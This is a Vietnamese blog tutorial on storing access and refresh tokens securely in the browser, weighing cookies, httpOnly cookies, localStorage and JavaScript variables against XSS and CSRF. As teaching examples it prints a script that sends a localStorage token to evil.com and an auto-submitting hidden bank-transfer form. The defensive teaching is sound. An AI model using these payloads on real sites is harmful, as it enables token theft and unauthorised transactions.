Ở bài viết trước, Tại sao cần Refresh Token? Bạn đã biết cách lưu trữ Refresh Token và Access Token an toàn trong trình duyệt chưa? chúng ta đã biết tại sao nên dùng refresh token. Vấn đề đặt ra là nếu access token bị đánh cắp thì khả năng refresh token "không cánh mà bay" cũng là rất cao. Vậy thì việc sinh ra refresh token đâu có ý nghĩa lý gì nữa khi cơ hội đánh cắp cả hai là như nhau?
Để tìm ra câu trả lời, có rất nhiều cuộc tranh luận nổ ra và dường như chưa có hồi kết bởi vì ai cũng có ý đúng. Trong vai trò là một khán giả ngồi trên khán đài của sân bóng, quan sát trận đấu để từ đó tổng hợp và đưa ra những nhận định thấy tâm đắc nhất. Chẳng có gì mang ý nghĩa tuyệt đối mà còn phụ thuộc vào góc nhìn của mỗi người. Vậy, rất mong bạn đọc tiếp tục đóng góp ý kiến xuống dưới phần bình luận để bài viết được hoàn thiện hơn. Quay trở lại với bài viết lần này, chúng ta hãy cùng nhau tìm hiểu xem lưu access token và refresh token ở đâu trong trình duyệt để mang lại khả năng bảo mật tốt nhất. Hoặc ít ra là hiểu vấn đề để tìm chỗ lưu cho phù hợp.
Để tìm được cách ngăn chặn, trước hết chúng ta cần phải tìm hiểu xem có những hình thức tấn công nào nhằm vào access token và refresh token.
Về cơ bản có 2 hình thức. Một là "ăn cắp" thẳng thừng. Hai là lợi dụng để thực hiện hành vi mà người dùng không mong muốn. Tương ứng với hai hình thức đó là kỹ thuật tấn công XSS (Cross-Site Scripting) và CSRF (Cross-Site Request Forgery). À chưa hết, bởi còn một hình thức nguy hiểm nhất là PAA (Physical Access Attack). Tức là kẻ tấn công sử dụng trực tiếp máy của nạn nhân để truy cập và sao chép bất hợp pháp dữ liệu người dùng. Vì thế đừng bao giờ rời mắt khỏi thiết bị của bạn nếu trong máy chứa dữ liệu quan trọng. Nhưng vì PAA quá rõ ràng nên hãy tập trung vào hai hình thức tấn công XSS và CSRF.
XSS là một hình thức tấn công phổ biến. Kẻ tấn công bằng cách nào đó chèn được một đoạn mã JavaScript vào máy chủ. Máy chủ phân phối đoạn mã đó đến máy khách. Khi máy khách nhận được và thực thi đoạn mã, dữ liệu sẽ bị đánh cắp.
Lấy ví dụ, một trang web có tính năng bình luận. Ai cũng có thể bình luận và người khác có thể xem bình luận đó. Nếu trang web chưa ngăn chặn hành vi XSS, kẻ tấn công bắt đầu bình luận nội dung.
<script>
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));
</script>
Bình luận này phân phối đến những người khác. Ngay lập tức đoạn mã này được thực thi, nó ăn cắp access_token
gửi đến một địa chỉ https://evil.com/steal
.
Ngược lại, CSRF không trực tiếp ăn cắp, nó chỉ lợi dụng để buộc người dùng thực hiện hành vi không mong muốn.
Lấy ví dụ, bạn đã đăng nhập vào một trang ngân hàng điện tử bank.com
. Về lý thuyết, access token & refresh token (nếu có) đã được lưu xuống trình duyệt và tự động gửi lên cho mỗi lần truy cập sau đó. Kẻ tấn công lừa bạn truy cập vào trang web của hắn, trang này có chứa đoạn mã độc trông giống như sau.
<form action="https://bank.com/transfer" method="POST" style="display: none;">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to_account" value="666666">
<input type="submit">
</form>
<script>
document.forms[0].submit();
</script>
Dễ dàng nhận thấy đây là một đoạn mã được chạy tự động khi vừa truy cập. Nó gửi một yêu cầu chuyển tiền đến https://bank.com/transfer
. Nếu bank.com
không xử lý tốt CSRF thì kẻ tấn công đã thực hiện một phi vụ chuyển tiền trót lọt vì rõ ràng trình duyệt nhận thấy một yêu cầu gửi đến https://bank.com
và nó ngay lập tức gửi đi access token hợp lệ.
CSRF có thể ngăn chặn bằng cách thiết lập SameSite=Strict
hoặc SameSite=Lax
trong cookies. Vậy nhưng không phải trang web nào cũng phù hợp cho hai chế độ này. Nói cách khác cần phải đề phòng trước những nguy cơ tiềm ẩn mà không dễ dàng nhận thấy.
Điểm lại trong trình duyệt, có các vị trí lưu trữ như sau:
Vì vậy, hãy thử phân tích xem điều gì xảy ra nếu lưu trữ access token và refresh token ở trong Cookies? Nếu lưu cả hai trong Cookies, chúng sẽ tự động đính kèm vào trong mỗi yêu cầu đến máy chủ. Điều này là không cần thiết và có phần thừa thãi vì không phải yêu cầu nào cũng cần đến refresh token. Ngoài ra, lưu trữ cả 2 trong Cookies đều có nguy cơ bị tấn công XSS và CSRF là rất cao. Nếu chẳng may trang web bị tấn công XSS, kẻ tấn công dễ dàng lấy được access token & refresh token.
Lưu trữ access token, hoặc refresh trong SessionStorage, LocalStorage, IndexdDB, Web SQL... có thể ngăn chặn được CSRF do yêu cầu không tự động đính kèm mã truy cập. Nhưng lại tồn tại nỗi lo XSS. Chỉ cần chèn được một đoạn mã JavaScript đơn giản, dữ liệu người dùng không cánh mà bay. Dễ dàng nhận thấy mấu chốt của vấn đề là kẻ tấn công lợi dụng mã JavaScript để ăn cắp, vậy có nơi nào trong trình duyệt mà JavaScript không thể truy cập vào được không?
Thật may mắn là có. Trong Cookies có một loại giá trị gọi là httpOnly
- nơi mà JavaScript không thể truy cập vào được. Giả sử trang web bị tấn công XSS thì kẻ tấn công vẫn không thể nào lấy được mã truy cập. httpOnly
mang đầy đủ yếu tố của một giá trị Cookies thông thường. Vậy thì có phải lưu cả 2 trong Cookies dưới dạng httpOnly
là an toàn rồi không? Hmm... Chưa hẳn. Vì lúc này lại quay trở lại với bài toán dễ bị tấn công CSRF.
Đến đây bạn đọc có thể nhận ra rằng việc lưu trữ refresh token trong Cookies dưới dạng httpOnly
lại miễn nhiễm với tấn công CSRF. Vì CSRF chủ yếu nhằm vào access token để lấy quyền truy cập của người dùng, trong khi refresh token thì không làm được điều này. Ngoài ra, việc sử dụng refresh token để xin cấp một access token mới chỉ diễn ra ở một điểm cuối (endpoint) nhất định. Chỉ cần thiết lập Cookies áp dụng ở API đó thì giải quyết được vấn đề lãng phí trong mỗi truy vấn. Quả là một sự lựa chọn hoàn hảo. Vấn đề lúc này là tìm vị trí thích hợp cho access token.
Thực tế, access token chỉ còn cách lưu trữ trong SessionStorage, LocalStorage, IndexdDB, Web SQL... là đã tránh được tấn công CSRF, chỉ còn mỗi mối lo duy nhất là XSS. Ngược lại, nếu lưu trong Cookies thì mối lo lại quay về với CSRF. Nói tóm lại không có giải pháp nào là tuyệt đối. Có lẽ lúc này cần quan tâm vào ngăn chặn XSS và CSRF hơn là lưu ở đâu.
Ngoài ra vẫn còn một nơi mà từ nãy đến giờ chưa có nhắc đến là trong biến JavaScript. Việc lưu trữ access token trong biến của JavaScript không đảm bảo an toàn trước XSS nhưng lại có những lợi ích hơn so với SessionStorage, LocalStorage... bên trên. Access token chỉ tồn tại trong vòng đời của trang hiện tại. Khi người dùng tải lại trang hoặc tắt trang web thì access token cũng mất. Kẻ tấn công chỉ có thể đánh cắp nếu chèn được mã độc trong phiên của người dùng và biết chính xác biến nào đang chứa dữ liệu access token.
Có hai hình thức tấn công phổ biến nhằm vào access token và refresh token là XSS và CSRF. Trong khi XSS tận dụng việc chèn mã độc JavaScript để ăn cắp dữ liệu thì CSRF lại lợi dụng để thực hiện hành vi mà người dùng không mong muốn. Để ngăn chặn XSS, cách tốt nhất là lưu trữ refresh token trong Cookies ở trạng thái httpOnly
. Access token nên được lưu trữ trong một biến JavaScript để loại bỏ tấn công CSRF và giảm thiểu nỗi lo XSS.
Tôi & khao khát "chơi chữ"
Bạn đã thử viết? Và rồi thất bại hoặc chưa ưng ý? Tại 2coffee.dev chúng tôi đã có quãng thời gian chật vật với công việc viết. Đừng nản chí, vì giờ đây chúng tôi đã có cách giúp bạn. Hãy bấm vào để trở thành hội viên ngay!
Đăng ký nhận thông báo bài viết mới
Bình luận (4)